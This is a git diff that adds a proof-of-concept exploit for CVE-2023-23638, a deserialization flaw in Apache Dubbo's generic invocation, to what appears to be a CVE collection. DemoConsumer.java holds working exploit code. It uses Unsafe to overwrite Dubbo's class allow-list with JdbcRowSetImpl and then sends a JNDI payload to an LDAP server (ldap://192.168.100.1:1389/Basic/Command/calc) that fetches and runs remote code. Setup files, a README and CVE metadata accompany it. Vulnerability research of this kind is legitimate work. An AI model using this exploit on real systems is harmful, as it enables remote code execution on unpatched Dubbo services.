diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/README.md b/cve/apache-Dubbo/2023/CVE-2023-23638/README.md new file mode 100644 index 0000000000000000000000000000000000000000..f267cc7b2b5c0769fef7a2ee4e27791e2c0eed4e --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/README.md @@ -0,0 +1,7 @@ +# CVE-2023-23638 + +dubbo泛型调用存在反序列化漏洞，可导致恶意代码执行。该问题影响Apache Dubbo 2.7.x 2.7.21及之前版本； Apache Dubbo 3.0.x 版本 3.0.13 及之前版本； Apache Dubbo 3.1.x 版本 3.1.5 及之前的版本。 + +复现时需要为 DemoComsumer 添加 VM 参数: `-Ddubbo.hessian.allowNonSerializable=true`, 详情参考 https://su18.org/post/hessian/#serializable + +POC 的本质是利用某个 class 修改 properties 以绕过限制, 代码给的是 JNDI 注入, 可以参考 [CVE-2023-23638 Apache Dubbo JavaNative反序列化漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c) 自行修改成反序列化的利用方式 diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/DemoConsumer.java b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/DemoConsumer.java new file mode 100644 index 0000000000000000000000000000000000000000..6349f7285334e6655dc95533353615edbf3dae76 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/DemoConsumer.java @@ -0,0 +1,51 @@ +package org.apache.dubbo.samples; + +import org.apache.dubbo.common.utils.ConcurrentHashSet; +import org.apache.dubbo.common.utils.SerializeClassChecker; +import org.apache.dubbo.rpc.service.GenericService; +import org.springframework.context.support.ClassPathXmlApplicationContext; +import sun.misc.Unsafe; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.*; + +public class DemoConsumer { + public static void main(String[] args) throws Exception { + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml"); + context.start(); + + Constructor constructor = Unsafe.class.getDeclaredConstructor(); + constructor.setAccessible(true); + Unsafe unsafe = constructor.newInstance(); + + Set allowSet = new ConcurrentHashSet<>(); + allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase()); + + SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class); + Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET"); + f.setAccessible(true); + f.set(serializeClassChecker, allowSet); + +// SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class); +// Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET"); +// f.setAccessible(true); +// f.set(serializeClassChecker, new ConcurrentHashSet<>()); + + Map map1 = new HashMap<>(); + map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); + map1.put("INSTANCE", serializeClassChecker); + + Map map2 = new LinkedHashMap<>(); + map2.put("class", "com.sun.rowset.JdbcRowSetImpl"); + map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc"); + map2.put("autoCommit", true); + + List list = new LinkedList(); + list.add(map1); + list.add(map2); + + GenericService genericService = (GenericService) context.getBean("helloService"); + genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list}); + } +} diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/DemoProvider.java b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/DemoProvider.java new file mode 100644 index 0000000000000000000000000000000000000000..bc872532c01fbe1d96c29dbe936dd981d54f8828 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/DemoProvider.java @@ -0,0 +1,18 @@ +package org.apache.dubbo.samples; + +import org.springframework.context.support.ClassPathXmlApplicationContext; + +import java.util.concurrent.CountDownLatch; + +public class DemoProvider { + + public static void main(String[] args) throws Exception { + + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml"); + context.start(); + + System.out.println("dubbo service started"); + new CountDownLatch(1).await(); + } + +} diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml b/cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml new file mode 100644 index 0000000000000000000000000000000000000000..63f4db3898442a0475fa34437eecf49078975c83 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml @@ -0,0 +1,121 @@ + + + + + 4.0.0 + + dubbo-samples-test + org.apache.dubbo.samples + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 3.1.5 + + + 4.3.3.RELEASE + 4.13.1 + 3.7.0 + + + + + + org.springframework + spring-framework-bom + ${spring.version} + pom + import + + + org.apache.dubbo + dubbo-bom + ${dubbo.version} + pom + import + + + org.apache.dubbo + dubbo-dependencies-zookeeper + ${dubbo.version} + pom + + + junit + junit + ${junit.version} + test + + + + org.springframework + spring-test + test + + + + + + + org.apache.dubbo + dubbo + + + + org.apache.dubbo + dubbo-dependencies-zookeeper + pom + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + ${maven-compiler-plugin.version} + + ${source.level} + ${target.level} + + + + org.springframework.boot + spring-boot-maven-plugin + + + + repackage + + + spring-boot + + org.apache.dubbo.samples.DemoConsumer + + + + + + + + diff --git a/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml b/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml new file mode 100644 index 0000000000000000000000000000000000000000..9e72780eea6051776ac3f8e6d3c98eb5190391a0 --- /dev/null +++ b/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml @@ -0,0 +1,22 @@ +id: CVE-2023-23638 +source: https://github.com/X1r0z/CVE-2023-23638 +info: + name: Dubbo是阿里巴巴开源的一款高性能、轻量级的分布式服务框架。 + severity: CRITICAL + description: | + Dubbo是一个高性能优秀的服务框架。CVE-2023-23638中，Dubbo泛型调用存在反序列化漏洞，可导致恶意代码执行。 + scope-of-influence: + Dubbo 2.7.0 - 2.7.21 + Dubbo 3.0.0 - 3.0.13 + Dubbo 3.1.0 - 3.1.5 + reference: + - https://exp10it.cn/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/ + - https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-23638 + cwe-id: CWE-502 + cnvd-id: None + kve-id: None + tags: Apache Dubbo, Deserialization vulnerability when generic invoke diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 7128c8a654f0511f8b057f1d715266e718f048c2..7af6cc12032d5bc9d879f21e1ba933a61c97fae2 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -13,7 +13,8 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 - - CVE-2021-25641 + - CVE-2021-25641 + - CVE-2023-23638 apache-Kafka: - CVE-2023-25194 apache-OFBiz: